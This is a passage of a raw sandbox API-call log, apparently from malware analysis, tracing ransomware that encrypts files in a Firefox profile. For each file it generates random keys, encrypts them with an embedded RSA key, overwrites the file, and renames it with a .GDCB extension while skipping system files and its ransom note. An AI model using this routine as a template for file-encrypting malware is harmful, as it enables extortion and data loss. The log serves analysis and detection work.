(lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\GDCB-DECRYPT.txt") returned 112 [0055.247] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups\\GDCB-DECRYPT.txt") returned 112 [0055.247] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0055.247] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0055.247] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0055.247] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0055.247] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0055.247] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0055.247] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0055.248] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0055.248] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0055.248] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.248] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0055.248] FindClose (in: hFindFile=0x5b81f0 | out: hFindFile=0x5b81f0) returned 1 [0055.248] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0055.248] lstrcmpW (lpString1="cert8.db", lpString2=".") returned 1 [0055.248] lstrcmpW (lpString1="cert8.db", lpString2="..") returned 1 [0055.248] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="cert8.db" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db" [0055.248] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.248] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db") returned 88 [0055.248] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db") returned 88 [0055.248] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db") returned 88 [0055.248] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db") returned 88 [0055.248] lstrcmpiW (lpString1="cert8.db", lpString2="desktop.ini") returned -1 [0055.248] lstrcmpiW (lpString1="cert8.db", lpString2="autorun.inf") returned 1 [0055.248] lstrcmpiW (lpString1="cert8.db", lpString2="ntuser.dat") returned -1 [0055.248] lstrcmpiW (lpString1="cert8.db", lpString2="iconcache.db") returned -1 [0055.248] lstrcmpiW (lpString1="cert8.db", lpString2="bootsect.bak") returned 1 [0055.248] lstrcmpiW (lpString1="cert8.db", lpString2="boot.ini") returned 1 [0055.248] lstrcmpiW (lpString1="cert8.db", lpString2="ntuser.dat.log") returned -1 [0055.248] lstrcmpiW (lpString1="cert8.db", lpString2="thumbs.db") returned -1 [0055.248] lstrcmpiW (lpString1="cert8.db", lpString2="GDCB-DECRYPT.txt") returned -1 [0055.248] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\cert8.db")) returned 0x20 [0055.248] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db", dwFileAttributes=0x20) returned 1 [0055.249] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0055.249] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db" [0055.249] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db.GDCB" [0055.249] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5900a0) returned 1 [0055.249] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.249] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.250] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.250] CryptGenRandom (in: hProv=0x5900a0, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0055.250] CryptReleaseContext (hProv=0x5900a0, dwFlags=0x0) returned 1 [0055.250] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.250] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58fc60) returned 1 [0055.250] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.250] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.250] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.250] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0055.250] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.250] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.251] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0055.251] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0055.251] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58fc60) returned 1 [0055.253] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5b81f0) returned 1 [0055.253] CryptGetKeyParam (in: hKey=0x5b81f0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0055.253] CryptEncrypt (in: hKey=0x5b81f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0055.253] GetLastError () returned 0x0 [0055.253] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.253] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5901b0) returned 1 [0055.255] CryptImportKey (in: hProv=0x5901b0, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5b7db0) returned 1 [0055.255] CryptGetKeyParam (in: hKey=0x5b7db0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0055.255] CryptEncrypt (in: hKey=0x5b7db0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0055.255] GetLastError () returned 0x0 [0055.255] CryptReleaseContext (hProv=0x5901b0, dwFlags=0x0) returned 1 [0055.255] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\cert8.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0055.255] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0055.255] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0055.256] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x18000, lpOverlapped=0x0) returned 1 [0055.261] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0055.262] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x3000, flProtect=0x4) returned 0x29d0000 [0055.263] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.264] SetFilePointer (in: hFile=0x504, lDistanceToMove=-98304, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.264] WriteFile (in: hFile=0x504, lpBuffer=0x29d0000*, nNumberOfBytesToWrite=0x18000, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x29d0000*, lpNumberOfBytesWritten=0x285e820*=0x18000, lpOverlapped=0x0) returned 1 [0055.264] VirtualFree (lpAddress=0x29d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.265] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.268] WriteFile (in: hFile=0x504, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0055.268] WriteFile (in: hFile=0x504, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0055.268] WriteFile (in: hFile=0x504, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0055.268] CloseHandle (hObject=0x504) returned 1 [0055.269] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.270] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.270] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.270] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\cert8.db"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\cert8.db.gdcb")) returned 1 [0055.270] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.271] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.271] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0055.271] lstrcmpW (lpString1="compatibility.ini", lpString2=".") returned 1 [0055.271] lstrcmpW (lpString1="compatibility.ini", lpString2="..") returned 1 [0055.271] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="compatibility.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini" [0055.271] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.271] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini") returned 97 [0055.271] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini") returned 97 [0055.271] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini") returned 97 [0055.271] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini") returned 97 [0055.271] lstrcmpiW (lpString1="compatibility.ini", lpString2="desktop.ini") returned -1 [0055.271] lstrcmpiW (lpString1="compatibility.ini", lpString2="autorun.inf") returned 1 [0055.271] lstrcmpiW (lpString1="compatibility.ini", lpString2="ntuser.dat") returned -1 [0055.271] lstrcmpiW (lpString1="compatibility.ini", lpString2="iconcache.db") returned -1 [0055.271] lstrcmpiW (lpString1="compatibility.ini", lpString2="bootsect.bak") returned 1 [0055.271] lstrcmpiW (lpString1="compatibility.ini", lpString2="boot.ini") returned 1 [0055.271] lstrcmpiW (lpString1="compatibility.ini", lpString2="ntuser.dat.log") returned -1 [0055.271] lstrcmpiW (lpString1="compatibility.ini", lpString2="thumbs.db") returned -1 [0055.271] lstrcmpiW (lpString1="compatibility.ini", lpString2="GDCB-DECRYPT.txt") returned -1 [0055.271] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\compatibility.ini")) returned 0x20 [0055.272] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini", dwFileAttributes=0x20) returned 1 [0055.272] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0055.272] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini" [0055.272] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini.GDCB" [0055.272] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58ff08) returned 1 [0055.273] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.273] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.273] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.273] CryptGenRandom (in: hProv=0x58ff08, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0055.273] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0055.273] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.273] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5901b0) returned 1 [0055.274] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.274] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.274] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.274] CryptGenRandom (in: hProv=0x5901b0, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0055.274] CryptReleaseContext (hProv=0x5901b0, dwFlags=0x0) returned 1 [0055.274] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.274] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0055.274] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0055.274] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58fc60) returned 1 [0055.276] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5b8030) returned 1 [0055.276] CryptGetKeyParam (in: hKey=0x5b8030, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0055.276] CryptEncrypt (in: hKey=0x5b8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0055.277] GetLastError () returned 0x0 [0055.277] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.277] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58fc60) returned 1 [0055.278] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5b8430) returned 1 [0055.278] CryptGetKeyParam (in: hKey=0x5b8430, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0055.278] CryptEncrypt (in: hKey=0x5b8430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0055.279] GetLastError () returned 0x0 [0055.279] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.279] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\compatibility.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0055.279] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0055.279] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0055.279] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0xd0, lpOverlapped=0x0) returned 1 [0055.284] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0055.284] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0055.284] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.284] SetFilePointer (in: hFile=0x504, lDistanceToMove=-208, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.284] WriteFile (in: hFile=0x504, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285e820*=0xd0, lpOverlapped=0x0) returned 1 [0055.284] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.284] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.287] WriteFile (in: hFile=0x504, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0055.287] WriteFile (in: hFile=0x504, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0055.293] WriteFile (in: hFile=0x504, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0055.293] CloseHandle (hObject=0x504) returned 1 [0055.293] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.293] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.294] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.294] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\compatibility.ini"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\compatibility.ini.gdcb")) returned 1 [0055.294] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.294] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.295] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0055.295] lstrcmpW (lpString1="containers.json", lpString2=".") returned 1 [0055.295] lstrcmpW (lpString1="containers.json", lpString2="..") returned 1 [0055.295] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="containers.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json" [0055.295] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.295] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json") returned 95 [0055.295] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json") returned 95 [0055.295] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json") returned 95 [0055.295] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json") returned 95 [0055.295] lstrcmpiW (lpString1="containers.json", lpString2="desktop.ini") returned -1 [0055.295] lstrcmpiW (lpString1="containers.json", lpString2="autorun.inf") returned 1 [0055.295] lstrcmpiW (lpString1="containers.json", lpString2="ntuser.dat") returned -1 [0055.295] lstrcmpiW (lpString1="containers.json", lpString2="iconcache.db") returned -1 [0055.295] lstrcmpiW (lpString1="containers.json", lpString2="bootsect.bak") returned 1 [0055.295] lstrcmpiW (lpString1="containers.json", lpString2="boot.ini") returned 1 [0055.295] lstrcmpiW (lpString1="containers.json", lpString2="ntuser.dat.log") returned -1 [0055.295] lstrcmpiW (lpString1="containers.json", lpString2="thumbs.db") returned -1 [0055.295] lstrcmpiW (lpString1="containers.json", lpString2="GDCB-DECRYPT.txt") returned -1 [0055.295] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\containers.json")) returned 0x20 [0055.295] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json", dwFileAttributes=0x20) returned 1 [0055.296] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0055.296] lstrcpyW (in: lpString1=0x2860000, 